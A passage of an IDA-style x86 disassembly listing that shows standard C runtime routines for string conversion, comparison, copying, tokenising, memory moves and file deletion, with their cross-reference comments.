		mov	ecx, eax
		sub	ecx, 37h


loc_4181EC:				; CODE XREF: sub_4180B6+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_418227
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_418211
		jnz	short loc_41820B
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_418211


loc_41820B:				; CODE XREF: sub_4180B6+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41821A
; ---------------------------------------------------------------------------


loc_418211:				; CODE XREF: sub_4180B6+145j
					; sub_4180B6+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41821A:				; CODE XREF: sub_4180B6+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41818B
; ---------------------------------------------------------------------------


loc_418227:				; CODE XREF: sub_4180B6+125j
					; sub_4180B6+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_418245
		test	edx, edx
		jz	short loc_41823F
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41823F:				; CODE XREF: sub_4180B6+181j
		and	[ebp+var_8], 0
		jmp	short loc_418292
; ---------------------------------------------------------------------------


loc_418245:				; CODE XREF: sub_4180B6+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41826B
		test	cl, 1
		jnz	short loc_418292
		and	ecx, 2
		jz	short loc_418262
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41826B


loc_418262:				; CODE XREF: sub_4180B6+1A1j
		test	ecx, ecx
		jnz	short loc_418292
		cmp	[ebp+var_8], eax
		jbe	short loc_418292


loc_41826B:				; CODE XREF: sub_4180B6+197j
					; sub_4180B6+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4D86D0, 22h
		jz	short loc_418281
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418292
; ---------------------------------------------------------------------------


loc_418281:				; CODE XREF: sub_4180B6+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418292:				; CODE XREF: sub_4180B6+18Dj
					; sub_4180B6+19Cj ...
		test	edx, edx
		jz	short loc_41829B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41829B:				; CODE XREF: sub_4180B6+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4182A9
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_4182A9:				; CODE XREF: sub_4180B6+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_4182B9
; ---------------------------------------------------------------------------


loc_4182AE:				; CODE XREF: sub_4180B6+66j
					; sub_4180B6+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4182B7
		mov	[eax], edi


loc_4182B7:				; CODE XREF: sub_4180B6+1FDj
		xor	eax, eax


loc_4182B9:				; CODE XREF: sub_4180B6+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4180B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182BE	proc near		; CODE XREF: sub_401AC7+58FAp
					; sub_401AC7+601Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4180B6
		add	esp, 10h
		retn
sub_4182BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182D5	proc near		; CODE XREF: sub_401AC7+50B5p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_423080	; DeleteFileA
		test	eax, eax
		jnz	short loc_4182EB
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_4182ED
; ---------------------------------------------------------------------------


loc_4182EB:				; CODE XREF: sub_4182D5+Cj
		xor	eax, eax


loc_4182ED:				; CODE XREF: sub_4182D5+14j
		test	eax, eax
		jz	short loc_4182FC
		push	eax
		call	sub_41BEC4
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4182FC:				; CODE XREF: sub_4182D5+1Aj
		xor	eax, eax
		retn
sub_4182D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182FF	proc near		; CODE XREF: sub_401AC7+500Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF2B
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B184
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41BFB8
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4182FF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418340	proc near		; CODE XREF: sub_401AC7+19D7p
					; sub_401AC7+19F6p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418361
		xor	eax, eax
		jmp	short loc_418363
; ---------------------------------------------------------------------------


loc_418361:				; CODE XREF: sub_418340+1Bj
		mov	eax, edi


loc_418363:				; CODE XREF: sub_418340+1Fj
		cld
		pop	edi
		leave
		retn
sub_418340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418370	proc near		; CODE XREF: sub_401AC7+7EAp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4183A1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41839F
		jz	short loc_4183A1
		dec	ecx
		dec	ecx


loc_41839F:				; CODE XREF: sub_418370+29j
		not	ecx


loc_4183A1:				; CODE XREF: sub_418370+9j
					; sub_418370+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4183B0	proc near		; CODE XREF: sub_401AC7+42Cp
					; sub_401AC7+2A89p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_418421
sub_4183B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4183C0	proc near		; CODE XREF: sub_401AC7+435p
					; sub_401AC7+69B0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4183DC


loc_4183CD:				; CODE XREF: sub_4183C0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41840F
		test	ecx, 3
		jnz	short loc_4183CD


loc_4183DC:				; CODE XREF: sub_4183C0+Bj
					; sub_4183C0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4183DC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41841E
		test	ah, ah
		jz	short loc_418419
		test	eax, 0FF0000h
		jz	short loc_418414
		test	eax, 0FF000000h
		jz	short loc_41840F
		jmp	short loc_4183DC
; ---------------------------------------------------------------------------


loc_41840F:				; CODE XREF: sub_4183C0+12j
					; sub_4183C0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_418414:				; CODE XREF: sub_4183C0+44j
		lea	edi, [ecx-2]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_418419:				; CODE XREF: sub_4183C0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_418421
; ---------------------------------------------------------------------------


loc_41841E:				; CODE XREF: sub_4183C0+39j
		lea	edi, [ecx-4]


loc_418421:				; CODE XREF: sub_4183B0+5j
					; sub_4183C0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_418446


loc_41842D:				; CODE XREF: sub_4183C0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_418498
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41842D
		jmp	short loc_418446
; ---------------------------------------------------------------------------


loc_418441:				; CODE XREF: sub_4183C0+9Ej
					; sub_4183C0+B8j
		mov	[edi], edx
		add	edi, 4


loc_418446:				; CODE XREF: sub_4183C0+6Bj
					; sub_4183C0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418441
		test	dl, dl
		jz	short loc_418498
		test	dh, dh
		jz	short loc_41848F
		test	edx, 0FF0000h
		jz	short loc_418482
		test	edx, 0FF000000h
		jz	short loc_41847A
		jmp	short loc_418441
; ---------------------------------------------------------------------------


loc_41847A:				; CODE XREF: sub_4183C0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418482:				; CODE XREF: sub_4183C0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41848F:				; CODE XREF: sub_4183C0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418498:				; CODE XREF: sub_4183C0+72j
					; sub_4183C0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4183C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4184B0


loc_4184A0:				; CODE XREF: sub_4184B0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4184B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4184B0	proc near		; CODE XREF: sub_401AC7+411p
					; sub_401AC7+4C0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004184A0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_4184B6:				; CODE XREF: sub_417E10+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4184DB


loc_4184C8:				; CODE XREF: sub_4184B0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4184A0
		test	cl, cl
		jz	short loc_418524
		test	edx, 3
		jnz	short loc_4184C8


loc_4184DB:				; CODE XREF: sub_4184B0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4184E6:				; CODE XREF: sub_4184B0+61j
					; sub_4184B0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418528
		and	eax, 81010100h
		jz	short loc_4184E6
		and	eax, 1010100h
		jnz	short loc_418522
		and	esi, 80000000h
		jnz	short loc_4184E6


loc_418522:				; CODE XREF: sub_4184B0+68j
					; sub_4184B0+81j ...
		pop	esi
		pop	edi


loc_418524:				; CODE XREF: sub_4184B0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184B0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418565
		test	al, al
		jz	short loc_418522
		cmp	ah, bl
		jz	short loc_41855E
		test	ah, ah
		jz	short loc_418522
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418557
		test	al, al
		jz	short loc_418522
		cmp	ah, bl
		jz	short loc_418550
		test	ah, ah
		jz	short loc_418522
		jmp	short loc_4184E6
; ---------------------------------------------------------------------------


loc_418550:				; CODE XREF: sub_4184B0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418557:				; CODE XREF: sub_4184B0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41855E:				; CODE XREF: sub_4184B0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418565:				; CODE XREF: sub_4184B0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4184B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418570	proc near		; CODE XREF: sub_401AC7+1AEp
					; sub_401AC7+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4185BC


loc_418580:				; CODE XREF: sub_418570+3Cj
					; sub_418570+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+1]
		jnz	short loc_4185B4
		or	ah, ah
		jz	short loc_4185B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+3]
		jnz	short loc_4185B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_418580
		mov	edi, edi


loc_4185B0:				; CODE XREF: sub_418570+18j
					; sub_418570+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B4:				; CODE XREF: sub_418570+14j
					; sub_418570+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185BC:				; CODE XREF: sub_418570+Ej
		test	edx, 1
		jz	short loc_4185D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4185B4
		inc	ecx
		or	al, al
		jz	short loc_4185B0
		test	edx, 2
		jz	short loc_418580


loc_4185D8:				; CODE XREF: sub_418570+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4185B4
		or	al, al
		jz	short loc_4185B0
		cmp	ah, [ecx+1]
		jnz	short loc_4185B4
		or	ah, ah
		jz	short loc_4185B0
		add	ecx, 2
		jmp	short loc_418580
sub_418570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185F4	proc near		; CODE XREF: sub_401AC7+B5p
					; sub_401AC7+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41860D:				; CODE XREF: sub_4185F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41860D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418635
		mov	edx, dword_4D871C


loc_418635:				; CODE XREF: sub_4185F4+39j
					; sub_4185F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418655
		test	al, al
		jz	short loc_418655
		inc	edx
		jmp	short loc_418635
; ---------------------------------------------------------------------------


loc_418655:				; CODE XREF: sub_4185F4+58j
					; sub_4185F4+5Cj
		mov	ebx, edx


loc_418657:				; CODE XREF: sub_4185F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41867B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418677
		inc	edx
		jmp	short loc_418657
; ---------------------------------------------------------------------------


loc_418677:				; CODE XREF: sub_4185F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41867B:				; CODE XREF: sub_4185F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4D871C, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4185F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418690	proc near		; CODE XREF: sub_408C17+1Cp
					; sub_413BD2+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4186CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4186DB
; ---------------------------------------------------------------------------


loc_4186CE:				; CODE XREF: sub_418690+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_4186DB:				; CODE XREF: sub_418690+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E0	proc near		; CODE XREF: sub_40A0F7+88p
					; sub_40A757+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418794
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41870A


loc_4186FB:				; CODE XREF: sub_4186E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41873B
		test	edi, 3
		jnz	short loc_4186FB


loc_41870A:				; CODE XREF: sub_4186E0+19j
					; sub_4186E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41870A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418748
		test	ah, ah
		jz	short loc_418743
		test	eax, 0FF0000h
		jz	short loc_41873E
		test	eax, 0FF000000h
		jnz	short loc_41870A


loc_41873B:				; CODE XREF: sub_4186E0+20j
		dec	edi
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_41873E:				; CODE XREF: sub_4186E0+52j
		sub	edi, 2
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186E0+4Bj
		sub	edi, 3
		jmp	short loc_41874B
; ---------------------------------------------------------------------------


loc_418748:				; CODE XREF: sub_4186E0+47j
		sub	edi, 4


loc_41874B:				; CODE XREF: sub_4186E0+5Cj
					; sub_4186E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418760
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4187AC
		jmp	short loc_41877C
; ---------------------------------------------------------------------------


loc_418760:				; CODE XREF: sub_4186E0+75j
					; sub_4186E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41879A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418790
		test	esi, 3
		jnz	short loc_418760
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4187AC


loc_41877C:				; CODE XREF: sub_4186E0+7Ej
					; sub_4186E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418790


loc_418783:				; CODE XREF: sub_4186E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418792
		dec	ecx
		jnz	short loc_418783


loc_418790:				; CODE XREF: sub_4186E0+8Bj
					; sub_4186E0+A1j
		mov	[edi], cl


loc_418792:				; CODE XREF: sub_4186E0+ABj
		pop	ebx
		pop	esi


loc_418794:				; CODE XREF: sub_4186E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41879A:				; CODE XREF: sub_4186E0+85j
					; sub_4186E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187A4:				; CODE XREF: sub_4186E0+E4j
					; sub_4186E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41877C


loc_4187AC:				; CODE XREF: sub_4186E0+7Cj
					; sub_4186E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4187A4
		test	dl, dl
		jz	short loc_41879A
		test	dh, dh
		jz	short loc_4187F8
		test	edx, 0FF0000h
		jz	short loc_4187E8
		test	edx, 0FF000000h
		jnz	short loc_4187A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187E8:				; CODE XREF: sub_4186E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4187F8:				; CODE XREF: sub_4186E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4186E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418810	proc near		; CODE XREF: sub_40B0A8+15p
					; sub_40B0A8+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_418830
		cmp	edi, eax
		jb	loc_4189A8


loc_418830:				; CODE XREF: sub_418810+16j
		test	edi, 3
		jnz	short loc_41884C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_418810+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418864
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41886C+4[eax*4]
; ---------------------------------------------------------------------------


loc_418864:				; CODE XREF: sub_418810+46j
		jmp	dword ptr loc_418968[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41886C:				; CODE XREF: sub_418810+31j
					; sub_418810+8Ej ...
		jmp	off_4188EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	byte ptr [eax-7753FFBFh], 41h
		add	al, dl
		mov	[ecx+0], al
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41886C
		rep movsd
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4188EC	dd offset loc_41894F	; DATA XREF: sub_418810:loc_41886Cr
		dd offset loc_41893C
		dd offset loc_418934
		dd offset loc_41892C
		dd offset loc_418924
		dd offset loc_41891C
		dd offset loc_418914
		dd offset loc_41890C
; ---------------------------------------------------------------------------


loc_41890C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_418914:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41891C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_418924:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41892C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_418934:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41893C:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41894F:				; CODE XREF: sub_418810:loc_41886Cj
					; DATA XREF: sub_418810:off_4188ECo
		jmp	off_418958[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418958	dd offset loc_418968	; DATA XREF: sub_418810+35r
					; sub_418810+92r ...
		dd offset loc_418970
		dd offset loc_41897C
		dd offset loc_418990
; ---------------------------------------------------------------------------


loc_418968:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418970:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41897C:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418990:				; CODE XREF: sub_418810+35j
					; sub_418810+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4189A8:				; CODE XREF: sub_418810+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4189DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4189D0
		std
		rep movsd
		cld
		jmp	off_418AF0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4189D0:				; CODE XREF: sub_418810+1B1j
					; sub_418810+208j ...
		neg	ecx
		jmp	dword ptr loc_418A9F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


